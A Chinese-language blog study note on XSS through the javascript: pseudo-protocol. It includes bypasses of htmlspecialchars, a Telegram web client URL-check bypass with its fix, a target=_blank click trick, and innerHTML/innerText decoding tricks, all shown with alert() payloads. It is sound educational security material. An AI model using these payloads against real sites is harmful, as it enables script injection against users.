0%

前端安全3-js伪协议(笔记)

前言

以前一直以为经过htmlspecialchars之后就不存在xss漏洞了,现在想来还是我太肤浅了

  • https://ithelp.ithome.com.tw/articles/10315118

    javascript伪协议

    可以触发的标签
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <iframe src=javascript:alert(1)></iframe>

    <a href=javascript:alert(1)>Link</a>

    <form action=javascript:alert(1)>
    <button>submit</button>
    </form>

    <form id=f2>
    </form>
    <button form=f2 formaction=javascript:alert(2)>submit</button>
    这种一般都是容易被忽略的注入xss的点,看到下面的代码
    1
    <a href="<?php echo htmlspecialchars($data) ?>">link</a>`
    虽然他被html编码了,但是仍然可以用伪协议去触发

当然,window.location也是可以触发伪协议的

1
window.location = 'javascript:alert(1)'

防御方式

上面已经提到过了,html编码是行不通的,直接删掉javascript,攻击者就可以通过下面的代码进行绕过

1
<a href="&#106avascript:alert(1)">link</a>

所以一般是通过白名单的方式,验证他的开头是否是http或者https这样
在tg中就出现过这样的问题
1
2
3
4
5
6
export function ensureProtocol(url?: string) {
if (!url) {
return undefined;
}
return url.includes('://') ? url : `http://${url}`;
}

他并没有判断开头是否是http://或者是https://,所以导致攻击者可以用下面的代码进行绕过
1
javascript:alert('://')

但是要在服务器也会判断上面的代码是否合规,那上面的代码显然不行,不过攻击者用了一种特殊写法绕过了。
URL的完全体一般是长下面的样子的
1
https://username:password@www.example.com/

所以构造绕过payload
1
javascript:alert('Slonser was here!');//@github.com

1
<a href="javascript:alert('Slonser was here!');//@github.com">link</a>

这样就能弹窗了
tg的修复方式如下
https://github.com/Ajaxy/telegram-tt/commit/a8d025395bc0032d964c2afc8c4fb5d2fa631a44
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
export function ensureProtocol(url?: string) {
if (!url) {
return undefined;
}

// HTTP was chosen by default as a fix for https://bugs.telegram.org/c/10712.
// It is also the default protocol in the official TDesktop client.
try {
const parsedUrl = new URL(url);
// eslint-disable-next-line no-script-url
if (parsedUrl.protocol === 'javascript:') {
return `http://${url}`;
}

return url;
} catch (err) {
return `http://${url}`;
}
}

利用URL去解析url,并提取出protocol,并判断

小trick

一般来说加个target="_blank",就可以解决上面的问题

1
<a href="https://kaikaix.github.io" target="_blank">link</a>

在chrome中,点开上面的会先新建一个about:blank,然后在打开博客
在firefox中,会先新建一个空页面,在打开博客
但是所有都是先新建一个空页面,再去操作
1
<a href="javascript:alert(1)" target="_blank">link</a>

如果是如上的情况就只会新建一个页面,然后不会有其他的操作
但是这只是用鼠标左键的情况
当你用鼠标中键,也就是按一下那个滚轮,或者你用ctrl加左键,同样可以触发

题外话 innerHTML和innerText

innerHTML

现在有一个test.js

1
document.body.innerHTML = '可控,但是无法绕过引号'

另一个页面加载了该js
这时候应该怎么去执行xss
如果是
1
<script>alert(1)</script>

是无法执行的,innerHTML禁止了script标签
这时候可以用img标签onerror属性去绕过
也可以用iframe标签的srcdoc去绕过
1
2
3
<iframe srcdoc="<script>alert(1)</script>"></iframe>
//当然下面这种也是可以的
<iframe srcdoc=&lt;script&gt;alert(1)&lt;/script&gt;></iframe>

属性中的内容是可以经过编码的
之前sekaictf拿到golf jail我就以为有了编码就不可能存在xss了

innerText

接下来看看innerText
还是一样的代码,只不过改成innerText

1
2
3
4
5
6
7
<html>
<body>
<script>
document.body.innerText = '<iframe<?php echo ($_GET['name']) ?>></iframe>'
</script>
</body>
</html>


可以看到他将你输入的尖括号之类的特殊字符都进行了html编码,那么就不会在存在xss漏洞了
但是有一点比较奇怪,当你从innerText中取东西,比如下面的代码
1
2
3
4
5
6
7
8
9
<html>

<body>
<a href=123 id=a>&lt;script&gt;alert(1)&lt;/script&gt;</a>
<script>
console.log(document.getElementById("a").innerText)
</script>
</body>
</html>

虽然<a>中的内容经过了编码,但是显示却是下面的内容

所以就会有一种情况,当年输入的内容被编码了,但是如果有以下的代码,就有可能会被绕过
1
2
3
4
5
6
7
8
9
10
<html>

<body>

<a href=123 id=a>&lt;img src=1 onerror=alert(1)&gt;</a>
</body>
<script>
document.getElementById("a").innerHTML = document.getElementById("a").innerText
</script>
</html>

为什么不用<script>标签,上面提过innerHTML是不会去执行script标签下的代码的